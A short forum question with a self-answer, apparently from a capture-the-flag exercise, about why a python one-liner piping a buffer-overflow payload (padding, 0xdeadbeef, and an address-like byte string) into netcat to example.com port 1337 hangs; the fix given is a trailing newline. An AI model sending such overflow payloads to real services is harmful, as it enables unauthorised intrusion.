I've been trying to pipe bytecode to netcat (nc) like this:

python3 -c "import sys;bof='a'*16;bof2='a'*8;sys.stdout.buffer.write(bof.encode('ascii')+b'\xef\xbe\xad\xde'+bof2.encode('ascii')+b'\x21\x52\x54\x55\x55\x35')" | nc example.com 1337  

But when I execute it my terminal prints out the program's output and as if it is awaiting input, but when I input my text and press enter nothing happens - it still awaits input. I've tried Ctrl+D to end it, I tried ', '"', ')'. It didn't work. Any clue why? Ctrl+C ends the execution but I think nothing is sent or at least the output isn't being printed out making it useless for me :(

What I've also tried: Piping to xxd to check whether there's a mistake there, but nope it seems ok.

I tried googling but apparently to no avail.

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So I've figured it out:

As you can also see in xxd and other similar programs you're missing a newline! Just add a \n before you close the byte string literal (') and you're good to go!

Case closed!

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